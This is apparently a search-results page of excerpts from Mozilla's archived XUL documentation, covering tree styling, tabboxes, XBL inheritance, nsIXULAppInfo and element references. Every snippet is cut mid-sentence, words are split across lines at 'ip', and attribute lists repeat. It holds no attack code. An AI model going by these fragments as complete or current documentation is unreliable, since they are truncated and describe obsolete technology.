ipt that dynamically switches between these styles. mozilla's current global skin defines this basic behavior for several classes of button. a button is styled by the global skin when its class attribute is set to a class which is defined in the global skin. for example, when a button is defined as follows: <button class="plain" label="push me" /> then the following very simple style definition a...
...ld element:pseudo-class { attribute: value; } parent > child { attribute: value; } button:hover { border: 1px; } menu#file > menuitem { font-weight: bold; } pseudo-classes reflect states of the element: when the mouse moves over a button, for example, the appropriate pseudo-class stylesheet rules are applied. the parent-child relationsh
ip is more economical than the aforementioned contextual subgrouping, which searches the entire subtree of an element for the subelement. finally, mozilla provides some special extensions to the cascading style sheets specification that allow even more control over the way that xul is skinned within the browser. on to the actual global.css file: after some comments, the css file contains bas...
...72; } this stylesheet exhibits three of the different types of style definitions described above. each type uses a different grouping of elements. in the first definition, the selector "toolbar.nav-bar" is used to define style information for all xul toolbars of the class "nav-bar." unlike an id -- which is also often used as a selector but must be unique -- a class attribute can be used on mult
iple xul elements you want to pick up the specified style information. a toolbar elements defined as: <toolbar class="nav-bar" id="nav3"> <toolbarbutton label="click me" /> <toolbarbutton label="don't click me" /> ... </toolbar> will be styled with the css rules that appear in the block after the toolbar.nav-bar selector in the css example above. similarly, the next item uses the id selecto...
Styling a Tree - Archive of obsolete content
rties attribute on the rows or cells to set one or more named properties. this can be used with trees with static content, rdf built content or with those with a custom view. let's say we want a particular row to have a blue background color. this would be used to implement mozilla mail's labels feature. we'll use a property called 'makeitblue'. you can use whatever name you want. you can set mult
iple properties by separating them with spaces. set the property on a row or cell, as in the following example: <treerow properties="makeitblue"> css selectors for the tree the style sheet can take this property and use it to change the appearance of the row for unread messages or labels. you can think of the properties as functioning much like style classes, although they require a somewhat mo...
...t are drawn to connect child rows to parent rows. ::-moz-tree-separator: a separator in a tree. ::-moz-tree-progressmeter: content for progressmeter cells. you can create a progressmeter column by setting the type attribute on the column to progressmeter. ::-moz-tree-drop-feedback: the drag and drop feedback. ::-moz-tree-checkbox: the image to use for checkbox columns. you can check for mult
iple properties by separating them with commas. the example below sets the background color to grey for rows that have the 'readonly' and 'unread' properties. for properties that are 'readonly', it adds a red border around the row. note that the first rule will apply to any row that is 'readonly' regardless of whether other properties such as 'unread' are set. treechildren::-moz-tree-row(readonly) ...
...ows or cells in rows with the necessary state. for columns and cells, one additional property, the id of the column or column the cell is in will be set. setting properties for the rdf-built trees for rdf-built trees, you can use the same syntax. however, you will often set the properties based on values in the datasource. setting properties for the custom view for trees with a custom view scr
ipt, you can set properties by supplying the functions getrowproperties(), getcolumnproperties() and getcellproperties() in the view. these return information about an individual row, column and cell. arguments to these functions indicate which row and/or column. prior to gecko 22 the last argument to each of these functions is a properties list which the view is expected to fill with a list of pro...
Tabboxes - Archive of obsolete content
once, much like a deck. the contents of the individual tab pages should go inside each tabpanel element. they do not go in the tab elements, as that is where the contents of the tabs along the top go. each tabpanel element becomes a page on the tabbed display. the first panel corresponds to the first tab, the second panel corresponds to the second tab, and so on. there is a one-to-one relationsh
ip between the tab and tabpanel elements. when determining the size of the tabbox, the size of the largest page is used. that means that if there are ten textboxes on one tab page and only one on another, the tab page will be sized to fit the one with the ten on it as this takes up more room. the area taken up by the tab area does not change when the user switches to a new tab page. tabbox example...
...label across the top and the search criteria box will need to go on the first tab. we'll add some options on the second tab. the progress bar and the buttons can stay on the main dialog, outside of the tabs. ...
...he second tab. the progress bar and the buttons can stay on the main dialog, outside of the tabs. <vbox flex="1"> <tabbox selectedindex="1"> <tabs> <tab label="search"/> <tab label="options"/> </tabs> <tabpanels> <tabpanel id="searchpanel" orient="vertical"> <descr
iption> enter your search criteria below and select the find button to begin the search. ...
Tree View Details - Archive of obsolete content
ted: function() { return false; }, iseditable: function(idx, column) { return false; }, } the rowcount function will return the length of the visibledata array. note that it should return the current number of visible rows, not the total. so, at first, only three items are visible and the rowcount should be three, even though six rows are hidden. also note the use of the javascr
ipt get operator to bind a property to a function, so to have the value of the rowcount property that can change dynamically over time, as rowcount has to be a read-only attribute as defined in nsitreeview. the settree function will be called to set the tree's box object. the tree box object is a specialized type of box object specific to trees and will be examined in detail in the next section. it...
...ar the end of the complete example, shown here: <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window onload="init();" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <tree id="elementlist" flex="1"> <treecols> <treecol id="element" label="element" primary="true" flex="1"/> </treecols> <treechildren/> </tree> <scr
ipt> <![cdata[ var treeview = { childdata : { solids: ["silver", "gold", "lead"], liquids: ["mercury"], gases: ["helium", "nitrogen"] }, visibledata : [ ["solids", true, false], ["liquids", true, false], ["gases", true, false] ], treebox: null, selection: null, get rowcount() { return this.visibledata.length; }, settree: function(treebo...
... << previousnext >> ...
Trees and Templates - Archive of obsolete content
ribes how to use a template with a tree. adding datasources to trees when using a tree, you will often use a template to build its content, to handle a large amount of hierarchial data. using a template with a tree uses very much the same syntax as with other elements. you need to add a datasources and a ref attribute to the tree element, which specify the datasource and root node to display. mult
iple rules can be used to indicate different content for different types of data. the following example uses the history datasource: <tree datasources="rdf:history" ref="nc:historybydate" flags="dont-build-content"> as described in the previous section, the tree may use a tree builder for template generation instead of the normal content builder. this means that elements will not be creat...
...the two cells grab the name and date from the datasource and place the values in the cell labels. this example shows why the uri attribute becomes useful. notice how it has been placed on the treeitem in the example, even though it is not a direct descendant of the rule element. we need to put this attribute on only those elements that we want repeated for each resource. because we don't want mult
iple treechildren elements, we don't put it there. instead we put the uri attributes on the treeitem elements. effectively, the elements outside (or above) the element with the uri attribute are not duplicated whereas the element with the uri attribute and the elements inside it are duplicated for each resource. as the tree builder is used and not the content builder, the structure of the elements i...
...ous example, you might note that the list of files is not sorted. trees which generate their data from a datasource have the optional ability to sort their data. you can sort either ascending or descending on any column. the user may change the sort column and direction by clicking the column headers. this sorting feature is not available for trees with static content, although you can write a scr
ipt to sort the data. sorting involves three attributes, which should be placed on the columns. the first attribute, sort, should be set to an rdf property that is used as the sort key. usually, this would be the same as that used in the label of the cell in that column. if you set this on a column, the data will be sorted in that column. the user can change the sort direction by clicking the column...
XBL Attribute Inheritance - Archive of obsolete content
inherits="flex"/> <xul:button xbl:inherits="label"/> when the content is generated, the textbox grabs the flex attribute from the searchbox and the button grabs the label attribute from the searchbox. this allows both the flexibility of the textbox and the label of the button to be different for each use of the binding. in addition, changing the value of the attributes on the searchbox with a scr
ipt will update the textbox and button also. you can add the inherits attribute to as many elements as you wish, to inherit any number of attributes. note how the inherits attribute has been placed in the xbl namespace, by prefixing it with 'xbl:'. the namespace should be declared somewhere earlier, usually on the bindings element. the next example demonstrates this. <bindings xmlns:xbl="http://www.
.... this technique is used to set the default value if the attribute is not present. this button will inherit its label attribute from the outer element. however, if no label is present, it will be given a default value of ok. there may be times where two generated elements need to inherit from an attribute that has the same name. for example, to create a labeled textbox (a textbox with a text descr
iption beside it) out of a label and a textbox element, the label will need to inherit its text from the value attribute and the textbox will also need to inherit its default value from the value attribute as well. to solve this, we will need to use a different attribute and map it to the same one. the following demonstrates this: xul: <box class="labeledtextbox" title="enter some text:" value="ok"...
... note that the attributes are duplicated on the inner (anonymous) content. changing the attributes on the box with the okcancel class will automatically change the values on the buttons. you may also have noticed that we just made up our own attribute names. this is valid in xul. if you need to map an attribute to the text content of the node, use "xbl:text" as the inner attribute, eg: <xul:descr
iption xbl:inherits="xbl:text=value"/> in the next section, we look at adding properties, methods and events to a binding. << previousnext >> ...
Using nsIXULAppInfo - Archive of obsolete content
starting with mozilla/xulrunner 1.8, there now is a way to find out which application, application version, and gecko version your code is running on. this is useful, for example, for extensions that support several mozilla-based applications or several versions of a single application. this is not useful for scr
ipts on webpages, which should continue using the navigator object when it's not possible to rely on feature-detection. nsixulappinfo interface to distinguish between different mozilla-based applications, use the frozen nsixulappinfo interface. the following sections provide a few examples of using nsixulappinfo from javascr
ipt. note that while firefox 1.5, thunderbird 1.5, and xulrunner 1.8-based applications support nsixulappinfo, older applications, such as firefox and...
... .getservice(components.interfaces.nsixulappinfo); (for explanation see this creating xpcom article.) getting application information after you obtained the app info component, you can read its properties to get the application's id, human-readable name, version, platform version, etc. for complete list of nsixulappinfo's properties, please see nsixulappinfo interface descr
iption. id you can tell which application you're running under using the nsixulappinfo.id property. const firefox_id = "{ec8030f7-c20a-464f-9b0e-13a3a9e97384}"; const thunderbird_id = "{3550f703-e582-4d05-9a08-453d09bdfdc6}"; const seamonkey_id = "{92650c4d-4b8e-4d2a-b7eb-24ecf4f6b63a}"; var appinfo = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components...
...tappid() { var id; if("@mozilla.org/xre/app-info;1" in components.classes) { // running under mozilla 1.8 or later id = components.classes["@mozilla.org/xre/app-info;1"] .getservice(components.interfaces.nsixulappinfo).id; } else { try { id = components.classes["@mozilla.org/preferences-service;1"] .getservice(components.interfaces.ns
iprefbranch) .getcharpref("app.id"); } catch(e) { // very old version dump(e); } } return id; } alert(getappid()); see also mxr: nsixulappinfo.idl ...
XUL FAQ - Archive of obsolete content
troubleshooting. it is a faq. ...
...ck when you have issues with your prefwindow-based options window: does each prefpane have a unique id? are there any elements inside the <prefwindow>, before the <prefpane>s? (putting any elements there triggers bug 296418.) are prefpanes nested correctly? does each prefpane contains a <preferences></preferences> block, even if empty? are scr
ipt tags in prefpanes closed properly? ...
...e <prefwindow>, before the <prefpane>s? (putting any elements there triggers bug 296418.) are prefpanes nested correctly? does each prefpane contains a <preferences></preferences> block, even if empty? are scr
ipt tags in prefpanes closed properly? does scr
ipt outside <prefpane> refer to any element in <prefpane>? (the animation effect when you open the preference window will not stop, if a scr
ipt outside <prefpane> refers any element inside <prefpane>, while initializing the window. if you want to access elements inside <prefpane>, you should put scr
ipt in the <prefpane> or write scr
ipt into "onpaneload" of the <prefpane>.) note, that prefwindow only works in chrome xul. ...
action - Archive of obsolete content
d within a query or rule element. one descendant of the action body should have a uri attribute set to the member variable. this element and its descendants may use variables in place of attribute values. variables are a question mark followed by a name. for a matched rule, each variable will be a reference to data within the datasource, determined from the query. if the same variable appears mult
iple times, it will have the same value in each place. for more information, see actions. examples example needed attributes inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight...
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , st...
...wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname(),...
arrowscrollbox - Archive of obsolete content
if false, the mouse must be hovered over the arrows to scroll automatically. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are ...
...if false, the mouse must be hovered over the arrows to scroll automatically. disabled type: boolean indicates whether the element is disabled or not. if this attribute is set, the element is disabled. disabled elements are usually d...
...in the tab sequence. properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width disabled type: boolean gets and sets the value of the disabled attribute. scrollboxobject type: nsiscrollboxobject the scroll box object implements the nsiscrollboxobject interface, which may be used to retrieve and adjust the scroll position of the list box. scrollincrement type: integer a read only property that lets you retriev...
broadcaster - Archive of obsolete content
any elements that are observing the broadcaster will share the attributes placed on the broadcaster. for instance, if the broadcaster has a label attribute, the observers will use that label. if the label changes, the labels of the observers will update automatically. an onbroadcast event will be sent to the observers when a change is made. ...
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
button - Archive of obsolete content
1, pressing the button will switch to the opposite state. when in state 2, pressing the button will switch to state 0. this means that the button acts like a checkbox except that there is a third state which must be set manually by adjusting the check state. if you wish to have different behavior for how the states are adjusted, set the autocheck attribute to false and adjust the state with a scr
ipt. the type attribute must be set to checkbox for buttons with a check state. constants for the possible values for this attribute are in the nsidomxulbuttonelement interface. checked type: boolean indicates whether the element is checked or not. use hasattribute() to determine whether this attribute is set instead of getattribute(). for buttons, the type attribute must be set to checkb...
...ns, the type attribute must be set to checkbox or radio for this attribute to have any effect. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
checkbox - Archive of obsolete content
by selecting it with the mouse. a label, specified with the label attribute, may be added beside the check box. more information is available in the xul tutorial. attributes accesskey, checked, command, crop, disabled, src, label, preference, tabindex properties accesskey, accessibletype, checked, command, crop, disabled, src, label, tabindex examples <checkbox label="enable javascr
ipt" checked="true"/> <checkbox label="enable java" checked="false"/> attributes accesskey type: character this should be set to a character that is used as a shortcut key. this should be one of the characters that appears in the label attribute for the element. checked type: boolean indicates whether the element is checked or not. use hasattribute() to determine wheth...
...ns, the type attribute must be set to checkbox or radio for this attribute to have any effect. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
commandset - Archive of obsolete content
command updater will update upon. if this attribute is not specified, or you set it to the value '*', all events are valid. valid events are listed below, or you can use your own events. you can send a custom event by calling the updatecommands method of the command dispatcher. focus: occurs when the focused element changes. select: occurs when the selected text changed. cl
ipboard: occurs when the cl
ipboard is changed. undo: occurs when the undo buffer is changed. oncommandupdate type: scr
ipt code this event occurs when a command update occurs. you would use this to update the disabled status of items. targets type: comma-separated list of element ids a comma-separated list of element ids that the comma...
... specified elements. ...
...d elements. ...
conditions - Archive of obsolete content
these may have attributes whose value is a variable name beginning with a question mark (?). when evaluating the rule for a particular rdf resource, the variables are replaced with values from the resource. ...
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
image - Archive of obsolete content
xheight or maxwidth. the new behavior aligns more with the html <img> element and shrinks both the width and height down proportionally. attributes onerror, onload, src, validate properties accessibletype, src style classes alert-icon, error-icon, message-icon, question-icon examples <image src='firefoxlogo.png' width='135' height='130'/> attributes onerror type: scr
ipt code this event is sent to an image element when an error occurs loading the image. image.onload type: scr
ipt code this event handler will be called on the image element when the image has finished loading. this applies whether the image is applied via the src attribute or the list-style-image style property. if you change the image, the event will fire again when the new image loads. ...
...ts the value of the src attribute. ...
...lue of the src attribute. ...
listitem - Archive of obsolete content
tons, the type attribute must be set to checkbox or radio for this attribute to have any effect. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
...oved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. type type: string you can make an item in a listbox a checkbox by setting this attribute to the value checkbox. value type: string the string attribute allows you to associate a data value with an element. it is not used for any specific purpose, but you can access it with a scr
ipt for your own use. be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and fu...
menu - Archive of obsolete content
pears in the label attribute for the element. allowevents type: boolean if true, events are passed to children of the element. otherwise, events are passed to the element only. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
...n will be the size needed for the popup contents. this is the default value for menulists. always both the preferred and minimum width of the menu label or button will be the same as that necessary for the menupopup. value type: string the string attribute allows you to associate a data value with an element. it is not used for any specific purpose, but you can access it with a scr
ipt for your own use. be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and fu...
menuseparator - Archive of obsolete content
s are passed to children of the element. otherwise, events are passed to the element only. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
...ent. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. value type: string the string attribute allows you to associate a data value with an element. it is not used for any specific purpose, but you can access it with a scr
ipt for your own use. be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and fu...
preference - Archive of obsolete content
preference instead of enabling it. name type: string the name of the preference to change. for example, the browser's home page is set with the preference browser.startup.homepage. overview an onchange attribute is an event listener to the object for the event change. a change event is fired in different ways for different xul input elements as listed below: onchange type: scr
ipt code textbox when enter key is pressed radio/check box when the state is changed select list when the selected item is changed what is accessible the scr
ipt context at this point can only access the following things: global values/functions i.e. window, document, or any of the functions/objects/variables bound to the window object event object ...
...things: global values/functions i.e. window, document, or any of the functions/objects/variables bound to the window object event object example <?xml version="1.0"?> <?xml-stylesheet href="chrome://global/skin/" type="text/css"?> <window id="findfile-window" title="find files" orient="horizontal" xmlns="http://www.mozilla.org/keymaster/gatekeeper/there.is.only.xul"> <scr
ipt type="text/javascr
ipt"> function myfunction(e){ /* do something cool here or just say the below */ alert(e.target.nodename); } </scr
ipt> <textbox id="find-text" onchange="return myfunction(event);"/> </window> readonly type: boolean if set to true, then the user cannot change the value of the element. however, the value may still be modified by a scr
ipt. ...
...ence in the currently open dialog. there's a special case of value === undefined, indicating that the preference does not have a user-set value (hasuservalue == false). in this case the actual value to be displayed in the ui is obtained from the defaultvalue property. valuefrompreferences gets and sets the value stored in the user preference, specified in name. (this always accesses the ns
iprefbranch apis regardless of the instantapply mode in effect). methods reset() return type: no return value resets the preference to its default value. for a textbox it also clears the undo transaction list (gecko 1.9). type getelementvalue(in domelement element); retrieves the value that should be written to preferences based on the current state of the suppli...
query - Archive of obsolete content
for xml datasources, the query should have an expr attribute and may optionally contain assign elements. ...
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
queryset - Archive of obsolete content
<< xul reference home [ examples | attributes | properties | methods | related ] a container for query elements when more than one query is used. for more information, see mult
iple queries. ...
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
iptext, top, width methods inherited methods addeventlistener(), appendchild(), blur, click, clonenode(), comparedocumentposition, dispatchevent(), docommand, focus, getattribute(), getattributenode(), getattributenodens(), getattributens(), getboundingclientrect(), getclientrects(), getelementsbyattribute, getelementsbyattributens, getelementsbyclassname(), getelementsbytagname()...
radio - Archive of obsolete content
is should be one of the characters that appears in the label attribute for the element. command type: id set to the id of a command element that is being observed by the element. crop type: one of the values below if the label of the element is too big to fit in its given space, the text will be cropped on the side specified by the crop attribute. an ell
ipsis will be used in place of the cropped text. if the box direction is reversed, the cropping is reversed. start the text will be cropped on its left side in left-to-right text locales, and the right side in right-to-left locales. end the text will be cropped on its right side in left-to-right text locales, and the right side in r...
...de in right-to-left locales. left the text will be cropped on its left side. right the text will be cropped on its right side. center the text will be cropped in the middle, showing both the start and end of the text normally. none the text will be not be cropped using an ell
ipsis. however, the text will simply be cut off if it is too large. the side depends on the css text alignment. depending on the platform and theme being used, some elements will have set a maximum width so they will always appear cropped. if you wish to use the value none and the displayed text is larger than this maximum width, you may be able to use the max-width css property (or t...
...ent. tabindex type: integer the tab order of the element. the tab order is the order in which the focus is moved when the user presses the "tab" key. elements with a higher tabindex are later in the tab sequence. value type: string the string attribute allows you to associate a data value with an element. it is not used for any specific purpose, but you can access it with a scr
ipt for your own use. be aware, however, that some elements, such as textbox will display the value visually, so in order to merely associate data with an element, you could 1) use another attribute like "value2" or "data-myatt" (as in the html5 draft), as xul does not require validation (less future-proof); 2) use setattributens() to put custom attributes in a non-xul namespace (serializable and fu...
resizer - Archive of obsolete content
cales, toward the left for right-to-left locales). bottomleft resized down and to the left. bottomright resized down and to the right. topleft resized up and to the left. topright resized up and to the right. element type: element to resize the id of the element that should be resized by the resizer. typetype: stringset this to the value "window" for a resizing gr
ip that appears in the bottom corner of the window, used for resizing the window. as some platforms provide this resizing gr
ip automatically, this type of resizer element will be hidden and ensure that the window does not get an extra resizer. inherited from xul element align, allowevents, allownegativeassertions, class, coalesceduplicatearcs, collapsed, container, containment, context, context...
... container, containment, context, contextmenu, datasources, dir, empty, equalsize, flags, flex, height, hidden, id, insertafter, insertbefore, left, maxheight, maxwidth, menu, minheight, minwidth, mousethrough, observes, ordinal, orient, pack, persist, popup, position, preference-editable, querytype, ref, removeelement, sortdirection, sortresource, sortresource2, statustext, style, template, toolt
ip, toolt
iptext, top, uri, wait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , s...
...ait-cursor, width properties inherited properties align, , allowevents, , boxobject, builder, , , , classname, , , , , collapsed, contextmenu, controllers, database, datasources, dir, , , flex, height, hidden, id, , , left, , maxheight, maxwidth, menu, minheight, minwidth, , , , , , , observes, ordinal, orient, , pack, , persist, , , , ref, resource, , , , , statustext, style, ,, toolt
ip, toolt
